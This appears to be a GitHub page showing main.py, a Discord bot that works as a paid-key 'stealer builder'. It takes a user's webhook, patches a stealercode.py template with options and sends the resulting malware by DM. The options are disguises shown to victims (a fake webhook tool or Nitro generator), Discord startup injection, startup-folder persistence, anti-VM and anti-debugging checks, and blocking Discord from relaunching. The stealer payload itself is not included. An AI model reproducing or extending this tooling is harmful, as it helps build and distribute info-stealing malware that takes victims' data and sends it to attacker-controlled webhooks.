-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.py
180 lines (146 loc) · 8.75 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
import discord
from discord.ext import commands
import base64, secrets, asyncio
import discord, uuid
from discord import app_commands
import traceback
Red = "\033[0;31m"
End = "\033[0m"
Green = "\033[0;32m"
bot = commands.Bot(command_prefix="!", intents=discord.Intents.all())
bot.remove_command('help')
Bot_token = 'Bot Token'
channelid = 123456 # The channel where the builder will work
admin = 123456 # The admin ID (He can generate key for user)
import os
os.makedirs('./Build', exist_ok=True)
@bot.event
async def on_ready():
await bot.tree.sync()
print("Bot en ligne !")
def makestealer(webhook, fakewebhook,fakegenerator, injection, startup, no_debug, close):
with open('stealercode.py', 'r', encoding='utf-8', errors='replace') as file:
content = file.read()
new_content = content.replace("%Webhook%", webhook)
new_content = new_content.replace("'%FakeWebhook%'", str(fakewebhook))
new_content = new_content.replace("'%FakeGen%'", str(fakegenerator))
new_content = new_content.replace("'%Injection%'", str(injection))
new_content = new_content.replace("'%Startup%'", str(startup))
new_content = new_content.replace("'%No_Debug%'", str(no_debug))
new_content = new_content.replace("'%Close%'", str(close))
filename = str(uuid.uuid4())
with open(f'./Build/{filename}.py', 'w', encoding='utf-8') as file:
file.write(new_content)
return f'./Build/{filename}.py'
@bot.tree.command(name="build", description="Generate a key to use the Builder")
async def Build(interaction: discord.Interaction, key: str):
user_id = str(interaction.user.id)
if interaction.channel_id != channelid:
embed=discord.Embed(title="Error", description=f"Wrong Channel ! use in <#{channelid}>", color=0xff0000)
await interaction.response.send_message(embed=embed)
return
with open('keys.txt', 'r') as f:
lines = f.readlines()
key_valid = False
for line in lines:
parts = line.strip().split("|")
stored_user_id = parts[0]
stored_key = parts[1]
stored_username = parts[2]
if user_id == stored_user_id and key == stored_key:
key_valid = True
break
elif key == stored_key:
embed=discord.Embed(title="Error", description=f"Invalid key!", color=0xff0000)
await interaction.response.send_message(embed=embed)
print(f"\n{Red}User{End}: {interaction.user.name} used a working key\n{Red}but not their own key{End}: {key}\n{Red}Username of the person that owns the key{End}: {stored_username}\n")
return
if not key_valid:
embed=discord.Embed(title="Error", description=f"Invalid key!", color=0xff0000)
await interaction.response.send_message(embed=embed)
return
try:
embed=discord.Embed(title="Stealer Setup", description=f"Please provide a webhook URL:", color=0xff0000)
await interaction.user.send(embed=embed)
def check_message(msg):
return msg.author == interaction.user and isinstance(msg.channel, discord.DMChannel)
webhook_message = await bot.wait_for("message", check=check_message, timeout=60.0)
webhook = webhook_message.content
except asyncio.TimeoutError:
embed=discord.Embed(title="Error", description=f"Take too much time to respond.The operation was canceled.", color=0xff0000)
await interaction.user.send(embed=embed)
return
emoji_yes = '✅'
emoji_no = '❌'
questions = [
("Do you want to enable Fake Webhook Module (When the file is launched it will show a Webhook Tools while getting data)?", "React with the corresponding emoji below:"),
("Do you want to enable Fake Generator Module (When the file is launched it will show a nitro generator while getting data)?", "React with the corresponding emoji below:"),
("Do you want to inject the script to Discord Startup?", "React with the corresponding emoji below:"),
("Do you want to add the file to the startup folder?", "React with the corresponding emoji below:"),
("Do you want to enable VM Checker and Anti Debugging?", "React with the corresponding emoji below:"),
("Do you want to prevent Discord from being launched again?", "React with the corresponding emoji below:"),
]
fake_webhook = None
fake_generator = None
inject_startup = None
add_to_startup = None
vm_checker = None
prevent_relaunch = None
for question, reaction_prompt in questions:
embed=discord.Embed(title="Stealer Setup", description=f"{question}\n{reaction_prompt}", color=0xFF5733)
embed.set_footer(text=f'{emoji_yes} for Yes, {emoji_no} for No')
question_message = await interaction.user.send(embed=embed)
await question_message.add_reaction(emoji_yes)
await question_message.add_reaction(emoji_no)
def check_reaction(reaction, user):
return user == interaction.user and str(reaction.emoji) in [emoji_yes, emoji_no]
try:
reaction, _ = await bot.wait_for("reaction_add", check=check_reaction, timeout=60.0)
user_response = 'True' if str(reaction.emoji) == emoji_yes else 'False'
if question.startswith("Do you want to enable Fake Webhook Module"):
fake_webhook = user_response
elif question.startswith("Do you want to enable Fake Generator Module"):
fake_generator = user_response
elif question.startswith("Do you want to inject the script to Discord Startup"):
inject_startup = user_response
elif question.startswith("Do you want to add the file to the startup folder"):
add_to_startup = user_response
elif question.startswith("Do you want to enable VM Checker and Anti Debugging"):
vm_checker = user_response
elif question.startswith("Do you want to prevent Discord from being launched again"):
prevent_relaunch = user_response
except asyncio.TimeoutError:
embed=discord.Embed(title="Error", description=f"Take too much time to respond.The operation was canceled.", color=0xff0000)
await interaction.user.send(embed=embed)
return
output = makestealer(webhook,fake_webhook,fake_generator, inject_startup, add_to_startup, vm_checker, prevent_relaunch)
print(output)
embed = discord.Embed(title="Here your stealer !", description="Thanks for using our service", color=0x00ff00)
await interaction.user.send(file=discord.File(f'{output}'), embed=embed)
@bot.tree.command(name="help", description="Here's a command to get help for the bot")
async def help(interaction: discord.Interaction):
embed = discord.Embed(title="Commands List", description="", color=0x00ff00)
embed.add_field(name="Admin Command:", value="```generatekey + (User)```\nThis command will generate a key for the user to build the stealer from the bot", inline=False)
embed.add_field(name="User command:", value="```Build + (Webhook) + (Key)```\nThis command will generate the virus with the chosen webhook", inline=False)
await interaction.response.send_message(embed=embed)
@bot.tree.command(name="generatekey", description="Generate a key to use the Builder")
@commands.is_owner()
async def generatekey(interaction: discord.Interaction, user: discord.Member):
if interaction.user.id == admin:
secr = secrets.token_urlsafe(32)
with open('keys.txt', "a") as f:
f.write(f"{user.id}|{secr}|{user.name}\n")
print(f"{Red}New{End} Generated key\n{Red}User{End}: {user.id}\n{Red}Key{End}: {secr}\n{Red}Username{End}: {user.name}")
embed = discord.Embed(title="Here your key :", description="Thanks for using our service.", color=0x00ff00)
embed.add_field(name="Key:\n", value=f"{secr}", inline=False)
embed.add_field(name="How to use it:\n", value=f"Go into the command channel and do ```/Build (key) (Webhook)``` and the program will be sent into your DM", inline=False)
await user.send(embed=embed)
await interaction.response.send_message(f"Key generated successfully sended to {user}")
else:
await interaction.response.send_message("You don't have the permission to use that command")
@bot.tree.command(name="ban", description="Ban a user")
@commands.has_permissions(ban_members=True)
async def ban(interaction: discord.Interaction, member: discord.Member, reason: str = "No reason provided"):
await member.ban(reason=reason)
await interaction.response.send_message(f"User {member.mention} has been banned.")
bot.run(Bot_token)